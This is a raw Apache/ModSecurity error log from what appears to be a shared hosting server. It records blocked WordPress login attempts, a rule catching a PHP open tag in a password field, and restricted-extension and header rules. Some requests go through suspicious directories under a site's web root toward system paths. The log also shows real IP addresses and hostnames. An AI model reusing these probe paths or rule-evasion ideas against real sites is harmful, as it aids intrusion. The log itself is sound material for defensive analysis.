[Fri Jul 17 08:01:12.889001 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/anandaV4/css/"] [unique_id "almT8BAi3pC6yjXGNq13wgAAAAU"]
[Fri Jul 17 08:01:12.889450 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/anandaV4/css/"] [unique_id "almT8BAi3pC6yjXGNq13wgAAAAU"]
[Fri Jul 17 08:01:12.890469 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/anandaV4/css/"] [unique_id "almT8BAi3pC6yjXGNq13wgAAAAU"]
[Fri Jul 17 08:01:12.905698 2026] [security2:error] [pid 1996894:tid 1996894] [client 195.211.44.136:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "stanthonys.biz"] [uri "/wp-login.php"] [unique_id "almT8I4Wmn5zySdNNkAfBQAAABM"]
[Fri Jul 17 08:01:12.905738 2026] [security2:error] [pid 1996894:tid 1996894] [client 195.211.44.136:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "stanthonys.biz"] [uri "/wp-login.php"] [unique_id "almT8I4Wmn5zySdNNkAfBQAAABM"]
[Fri Jul 17 08:01:13.014662 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:13.287210 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:13.381524 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:13.471343 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:13.564954 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:13.859030 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:13.952676 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:14.072325 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:14.136014 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:14.146540 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:14.157788 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:14.206112 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:14.297776 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:14.531923 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:14.542011 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:14.583377 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:14.667120 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:14.757578 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:14.849085 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:14.944185 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:15.131032 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:15.331208 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/cpuid/cpu1/subsystem/cpu3/dev"] [unique_id "almT83jA8yK8B7kryx3cEAAAAAk"]
[Fri Jul 17 08:01:15.331240 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/cpuid/cpu1/subsystem/cpu3/dev"] [unique_id "almT83jA8yK8B7kryx3cEAAAAAk"]
[Fri Jul 17 08:01:15.597980 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:15.696387 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:15.789371 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:15.895828 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:15.988297 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:16.079898 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:16.261997 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:16.354717 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:16.534058 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:16.716201 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:20.330801 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almT-Ht8zp89pALg8Q5gBgAAAA4"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:01:20.330831 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almT-Ht8zp89pALg8Q5gBgAAAA4"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:01:21.276541 2026] [security2:error] [pid 1993573:tid 1993573] [client 66.249.70.163:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-21-07_10.pdf"] [unique_id "almT-Xt8zp89pALg8Q5gBwAAAA4"]
[Fri Jul 17 08:01:21.276577 2026] [security2:error] [pid 1993573:tid 1993573] [client 66.249.70.163:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-21-07_10.pdf"] [unique_id "almT-Xt8zp89pALg8Q5gBwAAAA4"]
[Fri Jul 17 08:01:23.685248 2026] [security2:error] [pid 1993584:tid 1993584] [client 178.128.28.24:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:pwd. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?l found within ARGS:pwd: zb{0@u{vsfjq&#j(<?l[iy0hi_#9]i-lljn0=ec"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "neotechlk.com"] [uri "/wp-login.php"] [unique_id "almT-1xP5-SsqbGuGB2fTgAAAAA"], referer: https://neotechlk.com/wp-login.php
[Fri Jul 17 08:01:23.686369 2026] [security2:error] [pid 1993584:tid 1993584] [client 178.128.28.24:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "neotechlk.com"] [uri "/wp-login.php"] [unique_id "almT-1xP5-SsqbGuGB2fTgAAAAA"], referer: https://neotechlk.com/wp-login.php
[Fri Jul 17 08:01:23.986160 2026] [security2:error] [pid 1993584:tid 1993584] [client 178.128.28.24:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "neotechlk.com"] [uri "/wp-login.php"] [unique_id "almT-1xP5-SsqbGuGB2fTgAAAAA"], referer: https://neotechlk.com/wp-login.php
[Fri Jul 17 08:01:24.200394 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:50876] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:01:26.237480 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:26.465825 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:26.466602 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:26.822240 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:27.211816 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:27.467935 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:27.603349 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:27.646011 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:28.215474 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:28.771881 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:30.706102 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 57.141.18.82:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory0/subsystem/devices/memory116/node0/memory111/node0/memory34/subsystem/drivers_probe
[Fri Jul 17 08:01:32.304558 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:39552] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:01:32.859916 2026] [security2:error] [pid 1993571:tid 1993571] [client 66.249.64.10:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almUBOnUgtv5ujFYWh_qegAAAA0"]
[Fri Jul 17 08:01:32.859947 2026] [security2:error] [pid 1993571:tid 1993571] [client 66.249.64.10:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almUBOnUgtv5ujFYWh_qegAAAA0"]
[Fri Jul 17 08:01:32.888701 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:32.974304 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:33.049932 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:33.156699 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:33.217705 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:33.441786 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:33.453733 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:33.831940 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:33.925099 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:39616] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:01:33.950941 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:34.052808 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:39640] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:01:34.134386 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:34.254203 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:34.270702 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:34.813537 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:35.003456 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:35.661775 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUB3RlmrtCoY_COpcc4wAAAAg"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:01:35.661811 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUB3RlmrtCoY_COpcc4wAAAAg"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:01:35.988832 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:39762] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:01:37.671085 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:37.785388 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:39804] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:01:38.131404 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:38.253672 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:38.451709 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:38.467387 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:38.657355 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 47.82.53.157:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:06.0/resource1
[Fri Jul 17 08:01:38.809830 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:38.984455 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:39.011384 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:39.023828 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:39.300816 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUCxAi3pC6yjXGNq134gAAAAU"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:01:39.300847 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUCxAi3pC6yjXGNq134gAAAAU"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:01:39.653654 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:39886] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:01:39.705913 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:39896] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:01:40.322471 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:43.802014 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty22/subsystem/tty41/dev"] [unique_id "almUD0MCK1PbyQ2qe6D85QAAABQ"]
[Fri Jul 17 08:01:43.802130 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty22/subsystem/tty41/dev"] [unique_id "almUD0MCK1PbyQ2qe6D85QAAABQ"]
[Fri Jul 17 08:01:43.926563 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:60316] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:01:44.087803 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:44.577147 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:44.832488 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:45.660283 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:46.815149 2026] [security2:error] [pid 1994976:tid 1994976] [client 43.172.198.3:49862] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/etc/proxy_params_common.bak"] [unique_id "almUEjRCJXF37-WnVv0dMQAAABI"]
[Fri Jul 17 08:01:46.815506 2026] [security2:error] [pid 1994976:tid 1994976] [client 43.172.198.3:49862] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/etc/proxy_params_common.bak"] [unique_id "almUEjRCJXF37-WnVv0dMQAAABI"]
[Fri Jul 17 08:01:46.816089 2026] [security2:error] [pid 1994976:tid 1994976] [client 43.172.198.3:49862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/js/Bl4ckhOle/root/etc/proxy_params_common.bak"] [unique_id "almUEjRCJXF37-WnVv0dMQAAABI"]
[Fri Jul 17 08:01:46.949291 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu1/driver/bind
[Fri Jul 17 08:01:47.051814 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:47.408170 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:48.612981 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:48.668468 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:60596] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:01:52.064029 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:52.165990 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:41192] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:01:52.883423 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:41220] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:01:57.889932 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:58.060420 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:7/subsystem/ttyS1/flags
